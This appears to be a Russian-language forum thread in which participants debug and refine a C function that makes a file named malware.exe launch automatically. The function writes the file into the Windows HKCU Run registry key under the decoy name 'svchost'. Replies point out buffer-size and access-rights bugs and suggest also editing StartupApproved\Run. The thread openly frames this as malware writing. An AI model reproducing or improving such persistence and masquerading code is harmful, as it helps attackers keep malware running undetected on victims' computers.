Обернуть путь к файлу в кавычки лишним не будет. И разве не надо еще StartupApproved\Run редачить?а проверить сначала может мы там уже есть? не помешает иногда.
а вообще рано тебе малварь писать, возможно, ты просто указываешь левый путь или еще чего. ну наверное тут надо lstrlen а не sizeof подавать в RegSetValueEx.C:void Autorun(void) { HKEY RegKey; WCHAR FullFilePath[MAX_PATH]; wsprintfW(FullFilePath, L"%s", L"C:\\malware.exe"); if(RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &RegKey) == ERROR_SUCCESS) { if(RegQueryValueExW(RegKey, L"svchost", NULL, NULL, NULL, NULL) != ERROR_SUCCESS) { RegSetValueExW(RegKey, L"svchost", 0, REG_SZ, (PBYTE)FullFilePath,(lstrlenW(FullFilePath)*2)); } } RegCloseKey(RegKey); }

1. The size of the information pointed to by the lpData parameter, in bytes. If the data is of type REG_SZ, REG_EXPAND_SZ, or REG_MULTI_SZ, cbData must include the size of the terminating null character or characters.
2. lstrlenW - Determines the length of the specified string (not including the terminating null character).
В твоем случае, не хватает 2-х байт при передаче последнего аргумента в функцию
RegSetValueExW(RegKey, L"svchost", 0, REG_SZ, (PBYTE)FullFilePath,(lstrlenW(FullFilePath)*2));
Почему вне блока if?
RegCloseKey(RegKey);
Зачем?
WCHAR FullFilePath[MAX_PATH];
wsprintfW(FullFilePath, L"%s", L"C:\\malware.exe");
Достаточно: KEY_QUERY_VALUE | KEY_SET_VALUE
KEY_ALL_ACCESS
